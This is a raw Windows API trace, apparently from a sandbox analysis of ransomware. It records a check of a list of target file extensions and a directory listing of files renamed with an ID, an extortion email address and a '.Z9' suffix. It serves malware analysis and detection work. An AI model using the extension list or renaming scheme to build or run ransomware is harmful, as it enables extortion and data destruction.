	[0188.148] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dwt") returned 4
	[0188.148] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0188.148] lstrlenW (lpString=".dx") returned 3
	[0188.148] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0188.148] lstrlenW (lpString=".dxf") returned 4
	[0188.149] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".edml") returned 5
	[0188.149] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0188.149] lstrlenW (lpString=".efd") returned 4
	[0188.149] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".elf") returned 4
	[0188.149] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".emf") returned 4
	[0188.149] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".emz") returned 4
	[0188.149] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".epf") returned 4
	[0188.149] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".eps") returned 4
	[0188.149] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".epsf") returned 5
	[0188.149] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0188.149] lstrlenW (lpString=".epsp") returned 5
	[0188.149] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0188.149] lstrlenW (lpString=".erf") returned 4
	[0188.149] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".exr") returned 4
	[0188.149] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".f4v") returned 4
	[0188.149] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".fido") returned 5
	[0188.149] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0188.149] lstrlenW (lpString=".flm") returned 4
	[0188.149] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".flv") returned 4
	[0188.149] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".frm") returned 4
	[0188.149] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".fxg") returned 4
	[0188.149] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".geo") returned 4
	[0188.149] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0188.149] lstrlenW (lpString=".gif") returned 4
	[0188.150] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".grs") returned 4
	[0188.150] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".gz") returned 3
	[0188.150] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0188.150] lstrlenW (lpString=".h") returned 2
	[0188.150] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0188.150] lstrlenW (lpString=".hdr") returned 4
	[0188.150] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".hpp") returned 4
	[0188.150] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".hta") returned 4
	[0188.150] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".htc") returned 4
	[0188.150] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".htm") returned 4
	[0188.150] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".html") returned 5
	[0188.150] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0188.150] lstrlenW (lpString=".icb") returned 4
	[0188.150] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".ics") returned 4
	[0188.150] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".iff") returned 4
	[0188.150] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".inc") returned 4
	[0188.150] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".indd") returned 5
	[0188.150] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0188.150] lstrlenW (lpString=".ini") returned 4
	[0188.150] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".iqy") returned 4
	[0188.150] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".j2c") returned 4
	[0188.150] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0188.150] lstrlenW (lpString=".j2k") returned 4
	[0188.151] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".java") returned 5
	[0188.151] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0188.151] lstrlenW (lpString=".jp2") returned 4
	[0188.151] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".jpc") returned 4
	[0188.151] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".jpe") returned 4
	[0188.151] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".jpeg") returned 5
	[0188.151] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0188.151] lstrlenW (lpString=".jpf") returned 4
	[0188.151] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".jpg") returned 4
	[0188.151] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".jpx") returned 4
	[0188.151] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".js") returned 3
	[0188.151] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0188.151] lstrlenW (lpString=".jsf") returned 4
	[0188.151] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".json") returned 5
	[0188.151] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0188.151] lstrlenW (lpString=".jsp") returned 4
	[0188.151] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".kdc") returned 4
	[0188.151] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".kmz") returned 4
	[0188.151] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".kwm") returned 4
	[0188.151] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".lasso") returned 6
	[0188.151] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0188.151] lstrlenW (lpString=".lbi") returned 4
	[0188.151] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".lgf") returned 4
	[0188.151] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0188.151] lstrlenW (lpString=".lgp") returned 4
	[0188.152] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".log") returned 4
	[0188.152] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".m1v") returned 4
	[0188.152] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".m4a") returned 4
	[0188.152] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".m4v") returned 4
	[0188.152] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".max") returned 4
	[0188.152] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".md") returned 3
	[0188.152] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0188.152] lstrlenW (lpString=".mda") returned 4
	[0188.152] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".mdb") returned 4
	[0188.152] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".mde") returned 4
	[0188.152] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".mdf") returned 4
	[0188.152] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".mdw") returned 4
	[0188.152] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".mef") returned 4
	[0188.152] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0188.152] lstrlenW (lpString=".mft") returned 4
	[0188.152] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mfw") returned 4
	[0188.153] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mht") returned 4
	[0188.153] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mhtml") returned 6
	[0188.153] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mka") returned 4
	[0188.153] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mkidx") returned 6
	[0188.153] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mkv") returned 4
	[0188.153] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mos") returned 4
	[0188.153] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mov") returned 4
	[0188.153] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mp3") returned 4
	[0188.153] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mp4") returned 4
	[0188.153] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mpeg") returned 5
	[0188.153] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mpg") returned 4
	[0188.153] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mpv") returned 4
	[0188.153] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mrw") returned 4
	[0188.153] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".msg") returned 4
	[0188.153] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".mxl") returned 4
	[0188.153] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".myd") returned 4
	[0188.153] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".myi") returned 4
	[0188.153] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0188.153] lstrlenW (lpString=".nef") returned 4
	[0188.153] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".nrw") returned 4
	[0188.154] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".obj") returned 4
	[0188.154] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".odb") returned 4
	[0188.154] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".odc") returned 4
	[0188.154] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".odm") returned 4
	[0188.154] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".odp") returned 4
	[0188.154] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".ods") returned 4
	[0188.154] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".oft") returned 4
	[0188.154] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".one") returned 4
	[0188.154] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".onepkg") returned 7
	[0188.154] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0188.154] lstrlenW (lpString=".onetoc2") returned 8
	[0188.154] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0188.154] lstrlenW (lpString=".opt") returned 4
	[0188.154] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".oqy") returned 4
	[0188.154] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".orf") returned 4
	[0188.154] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".p12") returned 4
	[0188.154] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".p7b") returned 4
	[0188.154] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".p7c") returned 4
	[0188.154] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".pam") returned 4
	[0188.154] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0188.154] lstrlenW (lpString=".pbm") returned 4
	[0188.155] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pct") returned 4
	[0188.155] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pcx") returned 4
	[0188.155] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pdd") returned 4
	[0188.155] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pdf") returned 4
	[0188.155] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pdp") returned 4
	[0188.155] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pef") returned 4
	[0188.155] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pem") returned 4
	[0188.155] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pff") returned 4
	[0188.155] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pfm") returned 4
	[0188.155] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pfx") returned 4
	[0188.155] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pgm") returned 4
	[0188.155] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".php") returned 4
	[0188.155] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0188.155] lstrlenW (lpString=".php3") returned 5
	[0188.155] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0188.155] lstrlenW (lpString=".php4") returned 5
	[0188.155] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0188.155] lstrlenW (lpString=".php5") returned 5
	[0188.155] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0188.155] lstrlenW (lpString=".phtml") returned 6
	[0188.155] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pict") returned 5
	[0188.155] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0188.155] lstrlenW (lpString=".pl") returned 3
	[0188.155] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0188.156] lstrlenW (lpString=".pls") returned 4
	[0188.156] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0188.156] lstrlenW (lpString=".pm") returned 3
	[0188.156] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0188.156] lstrlenW (lpString=".png") returned 4
	[0188.156] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0188.156] lstrlenW (lpString=".pnm") returned 4
	[0188.156] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0188.156] lstrlenW (lpString=".pot") returned 4
	[0188.156] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0188.156] lstrlenW (lpString=".potm") returned 5
	[0188.156] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0188.156] lstrlenW (lpString=".potx") returned 5
	[0188.156] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0188.156] lstrlenW (lpString=".ppa") returned 4
	[0188.156] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0188.156] lstrlenW (lpString=".ppam") returned 5
	[0188.156] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0188.156] lstrlenW (lpString=".ppm") returned 4
	[0188.156] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0188.156] lstrlenW (lpString=".pps") returned 4
	[0188.156] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0188.156] lstrlenW (lpString=".ppsm") returned 5
	[0188.156] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0188.156] lstrlenW (lpString=".ppt") returned 4
	[0188.156] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0188.156] lstrlenW (lpString=".pptm") returned 5
	[0188.156] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0188.156] lstrlenW (lpString=".pptx") returned 5
	[0188.156] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0188.156] lstrlenW (lpString=".prn") returned 4
	[0188.156] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0188.156] lstrlenW (lpString=".ps") returned 3
	[0188.156] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0188.156] lstrlenW (lpString=".psb") returned 4
	[0188.156] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0188.156] lstrlenW (lpString=".psd") returned 4
	[0188.157] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0188.157] lstrlenW (lpString=".pst") returned 4
	[0188.157] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0188.157] lstrlenW (lpString=".ptx") returned 4
	[0188.157] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0188.157] lstrlenW (lpString=".pub") returned 4
	[0188.157] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0188.157] lstrlenW (lpString=".pwm") returned 4
	[0188.157] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0189.094] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.094] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a6dc9c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41a6dc9c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41aba151, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x31aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOIN~1.Z9")) returned 1
	[0189.094] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a6dc9c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41a6dc9c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41aba151, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5184, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOLO~1.Z9")) returned 1
	[0189.094] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a6dc9c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41a6dc9c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41aba151, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5184, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOLO~1.Z9")) returned 0
	[0189.094] FindClose (in: hFindFile=0x3fb27d8 | out: hFindFile=0x3fb27d8) returned 1
	[0189.094] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0189.094] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ae04c0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41ae04c0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41b2c83c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x18986, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOIN~1.Z9")) returned 1
	[0189.095] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ae04c0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41ae04c0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41b0662f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x59b70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoader.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOLO~1.Z9")) returned 1
	[0189.095] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b0662f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41b0662f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41b2c83c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xbff2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOME~1.Z9")) returned 1
	[0189.095] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b0662f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41b0662f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41b2c83c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xbff2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOME~1.Z9")) returned 0
	[0189.095] FindClose (in: hFindFile=0x3fb21d8 | out: hFindFile=0x3fb21d8) returned 1
	[0189.095] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x400c8b8 | out: hHeap=0x750000) returned 1
	[0189.095] FindNextFileW (in: hFindFile=0x3fb2198, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b2c83c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41b2c83c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x423124e9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x29178, dwReserved0=0xffffff79, dwReserved1=0x179, cFileName="vstoee.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOEE~1.Z9")) returned 1
	[0189.095] FindNextFileW (in: hFindFile=0x3fb2198, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x423124e9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x423124e9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x423124e9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x438e, dwReserved0=0xffffff79, dwReserved1=0x179, cFileName="vstoee100.tlb.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOEE~2.Z9")) returned 1
	[0189.095] FindNextFileW (in: hFindFile=0x3fb2198, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42338701, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42338701, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42338701, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x598c, dwReserved0=0xffffff79, dwReserved1=0x179, cFileName="vstoee90.tlb.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOEE~3.Z9")) returned 1
	[0189.095] FindNextFileW (in: hFindFile=0x3fb2198, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42338701, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42338701, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42338701, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x598c, dwReserved0=0xffffff79, dwReserved1=0x179, cFileName="vstoee90.tlb.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOEE~3.Z9")) returned 0
	[0189.095] FindClose (in: hFindFile=0x3fb2198 | out: hFindFile=0x3fb2198) returned 1
	[0189.095] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3ff78a0 | out: hHeap=0x750000) returned 1
